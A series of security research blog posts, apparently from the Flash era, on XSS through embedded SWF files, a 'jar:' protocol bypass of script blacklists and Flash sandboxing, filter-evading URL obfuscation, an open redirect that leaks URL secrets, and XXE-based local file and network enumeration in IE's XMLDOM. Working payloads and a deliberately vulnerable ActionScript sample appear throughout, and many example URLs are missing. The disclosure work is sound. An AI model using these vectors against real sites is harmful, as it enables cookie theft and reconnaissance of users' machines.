Catch-up on Flash XSS exploitation Part 3 – XSS by embedding a flash file

I am going to explain how to exploit a Cross Site Scripting vulnerability by embedding a flash file in a vulnerable website by using navigateToURL or getURL. This is a known technique but I want to introduce a new method to exploit the target more efficiently. This method can be useful when you have some restrictions and you cannot inject a JavaScript directly into the page.

First of all, I am going to explain how it is possible to do this normally and then I will try to make my vector as short as possible.

Using “allowScriptAccess” (normal method):

Here is the code that we need to run JavaScript from our flash file by using URL redirection:

ActionScript 3 code (

navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

ActionScript 2 code:


And here is the HTML code in which we need to embed this flash file:

<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=",0,40,0"><param name="allowScriptAccess" value="always" /><param name="src" value="" /><embed width="320" height="240" type="application/x-shockwave-flash" src="" allowScriptAccess="always" /></object>

Test URL:

It is also possible to rewrite the HTML file as follows to make it as short as possible:

<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=",0,40,0"><param name="src" value="//" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//" />

Test URL:

However, this vector will not work in IE as it causes a “Security sandbox violation” error (you can use the debugger version of Flash player to see the error messages). Instead we can use EMBED tag as follows:

<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=",0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//" allowscriptaccess="always" /></object>

Test URL:

Exploiting XSS without using allowScriptAccess – bypassing flash Security Sandbox:

There can be a valid scenario in which you can only control the address of an embedded SWF file in victim’s website or there are some length restrictions and we cannot use “allowScriptAccess”! I came across this scenario recently in @rafaybaloch and @prakharprasad #1 XSS challenge:

If we do not use “allowScriptAccess”, we can make our vector as short as possible but it will cause a “Security sandbox violation” error for two reasons:

1: Target page in navigateToURL or getURL cannot be set to null/empty, “_self”, “_parent”, and “_top”.


ActionScript 3 code (

navigateToURL(new URLRequest(""),"_self");

Test URL:

2: We cannot use “JavaScript:” protocol for redirection.


ActionScript 3 code:

navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

Test URL:

Resolving the first issue is not difficult. If we use an arbitrary name as the target page, it will open our JavaScript in a new page which uses the same window origin as its opener and this is what we need! It is also possible to set a name for the victim’s website when we want to open it by using different techniques (such as IFrame name,, anchor’s target, form’s target and so on) and set the target name to the same name in our Flash file. I will show you an example later.

Overcoming the second issue is even easier! We can use “JAR:” protocol before “JavaScript:” to bypass Flash Sandbox protection (

Based on these solutions, our Flash file would be like this:

ActionScript 3 code (

navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

ActionScript 2 code:

getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");

Let’s Finish It!

I have a vulnerable page which is located in:

If we do not use a name for the victim’s website, it is only exploitable in Mozilla Firefox:<embed src=> – Firefox only

We can still exploit this in other browsers if we use a name (“testme” in our example) to open the vulnerable file. Here is an example:

<iframe name="testme" src="<embed src=>" height="240" width="320"></iframe>

Test URL:

Please note that the OBJECT tag could also be used instead of EMBED with the same result.

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (



Catch-up on Flash XSS exploitation Part 2 – “navigateToURL” and “jar:” protocol!

I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!

XSS attack by using different protocols in “navigateToURL” redirections:

Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.

We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!

In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:


Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!

jar:” protocol is our invisible friend and a True Warrior!!:

It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).

Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!

Here is our vulnerable example code:

	var input:String = root.loaderInfo.parameters.input; // input variable
	var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
		// Safe to go?!!! --> No! What about "jar:javascript:"?
		navigateToURL(new URLRequest(input),"_self"); // redirection

And here is the real example:



This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.

Bypassing local-with-filesystem protection by using “navigateToURL”:

By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):

SecurityError: Error #2148: SWF file\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
	at global/
	at MethodInfo-1()
	at com.powerflasher.SampleApp::link_protocol_test()

As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.

I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!

I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!

Here are some examples of my bypass vectors:

Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):



Jar protocol – Opens a file in your local C drive:



Jar protocol – Opens other restricted protocols in IE – example 1:



Jar protocol – Opens other restricted protocols in IE – example 2:



Playing with backslashes without using “jar:” protocol – Opens C drive:



Now you can open any of these links in an IFrame. I have created a PoC in the following link:

As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )

Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.

These are the things we should be able to do by opening the local file system in an IFrame:

1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue:

2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!

3- Scanning the local resources.

4- Fingerprinting the users based on their files and directories.

Let’s have some fun! I want to open your CDRom!

I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:

I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (



Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

I had tweeted a few techniques in exploiting XSS in vulnerable flash files a few months ago. I thought it is a good idea to summarise them here and share it with you. I will try to add more parts to this in future…

Bypassing IE protection/feature against SWF reflected XSS:

It seems only IE as a browser has protections against normal reflected XSS attacks on flash files. For example, if you open the following link in IE10, Javascript won’t have access to the DOM objects:;

Instead, it will show you the following error message in the console (press F12 to see it):

The same script is run easily in Firefox (without NoScript) and Google Chrome. Moreover, the other methods that I had invented previously in the following blog post do not work in IE10: “”.

Now, I have found a workaround to also bypass IE10 protections and run the script:



It is based on the following simple fact:

“javascript:x=”echo”” in the URL, will print “echo” on the screen and it can contain HTML tags. Any script will then have access to the objects of the original page.

Flash URLDecode feature that can be used to bypass possible protections and obfuscate the attack:

If you need to send the vectors to a server behind a firewall (flashvars can be sent after the “#” character to be hidden from the server) or to bypass client-side Anti-XSS protections, this method can be very useful.

Flash discards invalid URL encoded values completely:

A) It discards 2 characters if you have an invalid hex character ([^0-9a-fA-F]) immediately after the percentage character. Example: “%X” or “%=”

B) It discards 3 characters if you have a valid hex character after the percentage character followed by an invalid hex character. Example: “%AX” or “%A&”

Note1: During this test, I have observed that sometimes values greater than 127 in ASCII will be converted to a question mark (“?”) character. This happens in URL redirection cases.

Note2: Encoded BOM characters (“%EF%BB%BF”) can also replace the space characters. Example: “alert(1)” can be rewritten as “alert%EF%BB%BF(1)” (

Exploits can even be more deceptive if you use the following vectors: “%#” or “%A#”. It will not send your complete vector to the server because of the “#” character.


Original queries:;'javascript:x="<script>alert(document.domain)</script>"'

New equivalent queries:;'jav%Zascri%AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'

As you can see in these examples, a flash based XSS attack can be obfuscated very well!

NoScript was bypassed initially by using this trick but it has been patched since version ( Thanks to Giorgio Maone (@ma1).

Next Part

I will try to post more related materials in regards with Flash security. I may divulge some 0days here…, who knows?

Simple Security Tip: window.location = window.location.pathname can cause Open-Redirect issue!

I found this issue in a website and I thought it would be nice to share the info.

If you search “window.location = window.location.pathname” in Google, you will see some people are using this method for redirection purposes. This can make a website vulnerable to Open Redirect issue though. In fact, if there is any sensitive value in the URL, it can be sent to the attacker as well.

Quick reference: when you are in “” page, “window.location.pathname” in Javascript will return “/something/file.ext” as the value.

Now if you use this “pathname” value for redirection without having any validation, it can lead to Open-Redirect vulnerability. This happens when “pathname” starts with two slash characters “//” instead of a single slash character with a valid domain-name afterward. However, it is not easy to start the URL path with two slash characters and a domain-name and point to the vulnerable page at the same time!

Here is a vulnerable sample page:

It contains the following vulnerable JS code:

window.location = window.location.pathname + '?Secrets=SecretValue1#MoreSecrets=SecretValue2!';

Now I like to redirect the user to my fake logger which is located at:

First solution?

I was thinking to use directory traversal method to have my target domain in the URL and also point to the vulnerable page:

However, when I open this page in any browser, it strips out my logger URL before it sends the request to the server, and it becomes like this:

Note: It still keeps two slash characters, and this fails the redirection as http://tips/ is not available. This behaviour can be used as a detection technique for this issue though!

Anyway, this method does not work and I failed!

Second try:

My vulnerable page has been hosted in a Windows host with IIS. This means, there is no difference between a slash and a backslash and their encoded values in the path! As a result I found this solution to keep my logger URL and also open the target page:\..\..\../tips/js-location-pathname.html

However, this only works in Firefox and I have to use encoding for IE and Google Chrome:

Job done! Success!

Now I can redirect the user to my dangerous page and hijack the secrets in any browsers!


This issue is exploitable if the website with a vulnerable page

1- has been hosted in a Windows host with IIS!

2- has a URL-rewrite rule that still serve a page that contains the vulnerable JS.

3- has an error handling page (404 page?) that contains the vulnerable JS.

Microsoft XMLDOM in IE can divulge information of local drive/network in error messages – XXE

While I was testing a XML Injection vulnerability, I became interested in the W3Schools DTD Validator example that can only work in IE: As a result, after I finished my testing, I started playing with this Microsoft XMLDOM object to see if it is vulnerable.

I created the following test case to manipulate the “$target$” value and validate it to see the results:

validateXML('<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "$target$">')

function validateXML(txt) {
    // code for IE
    if (window.ActiveXObject) {
        var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
        xmlDoc.async = true;
        try {
			if (xmlDoc.parseError.errorCode != 0) {
				var err;
				err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
				err += "Error Reason: " + xmlDoc.parseError.reason;
				err += "Error Line: " + xmlDoc.parseError.line;
				var errReason = xmlDoc.parseError.reason.toLowerCase();
			} else {
                alert('No Error? Unknown!')
        } catch (e) {

    } else {
        alert('you need to use IE')

You can see this JS in action via this link in IE:

Detecting files in the C drive:

I tried different local file paths to see if I can include a file from the local file system. The results of the following test cases are the same – “Access is denied.”:



See this link:

I thought I might be able to use “\\localhost” or “\\” instead of using “file” protocol:

$target$ = \\\c$\windows\system32\calc.exe

$target$ = \\\c$\windows\system32\invalid.exe

The result was the same again; however, I did not receive an “access denied” error this time! See this link:

At this point, I used Sysinternals Suite Process Monitor to monitor the file system and I realised that in the previous example, it was looking for “c$” folder in the C drive!

Therefore, I removed “c$” from my targets and ran the test again:

$target$ = \\\windows\system32\calc.exe

$target$ = \\\windows\system32\invalid.exe

The result was promising as I received “Unspecified error” for the file that was available on my file system. See this:

So, I found my first bypass to detect available files on the C drive.

I also found more vectors to find files on the C drive and it turned out that I can get the same result by using “file:\” and “file:\\localhost\” instead of “file:\\”! See this link:

Detecting valid folders in C drive:

It was possible to find the valid folders on C drive by using the same technique as the error messages were a little bit different in case of having a valid or an invalid folder:

$target$ = \\localhost\windows\

$target$ = \\localhost\invalidfolder\

Try it in: – in case of an invalid folder the message will be: “the system cannot locate the object …”. When a folder is valid we will have: “the system cannot find the path …”

I also found out if I use NTFS ADS (Alternate Data Streams) that are related to files and not the directories such as “::$DATA” I would receive different error messages to detect the valid folders (“access denied” versus the “the system cannot locate the object …”):

$target$ = \\localhost\windows::$DATA

$target$ = \\localhost\invalidfolder::$DATA

See the result in this link:

Detecting files and directories in all drives:

At this point during my testing, I had a limitation and I could not detect my files in any drive other than the C drive by using the previous vectors. Vectors like “file:/e:/” or “\\localhost\e$” did not work.

I solved this problem by using “res://” protocol ( and I received different error messages by pointing to the files or folders.

$target$ = res://d:\validfile.txt

$target$ = res://d:\invalidfile.txt

See the results here (you need to create the “validfile.txt” file in your D drive or change the path):

Detecting available drives:

In order to make the results more accurate, I had to find the available drive letters on the box. Unfortunately “res://” protocol was not helpful in this case and I had to use another solution. The solution that I found was in fact very easy. I could use the drive letters directly; if the drive letter is available, the error message would be “access denied” and when it is not available, the error message changes to “the system cannot find the path specified”:

$target$ = c:\

$target$ = invalid:\

See the results in

Detecting available Windows internal network addresses or internal websites:

During my tests, I realised that I can send http request to local sites or IP addresses, and I can point to network shares as well. In this case, it would give me an error immediately if the target was valid. However, it could take between 10 to 60 seconds to come back with an error when it could not receive a response from the target! I used this technique to detect valid local IP/Name addresses. However, as it does take a long time to identify an invalid target, it is not appropriate for scanning.

Denial of Service:

Like many other DTD parsers, XMLDOM object was also vulnerable to denial of service. I did not even try hard to find the issue and I used an example in the following link from MSDN Magazine:


I have created a PoC page to test the above techniques in one page which can be found via:

I also searched in Google and I found out that the general topic of these issues have been mentioned in the following link from Microsoft:

See the “Threats and Mitigation” section in the link above.

At the moment this issue is a client side issue and only works in IE. I published it as the impacts are low (limited information disclosure vulnerability) and you cannot read the file contents with the vectors that I have found (only worthless local DTD files are partially readable). However, this research can be very valuable to people who are looking for the new vectors in finding/exploiting XML vulnerabilities (for example in Java – I do not have time to test this at the moment) – obviously in legal and legitimate research/pentest projects ;)

Once again, the PoC page is: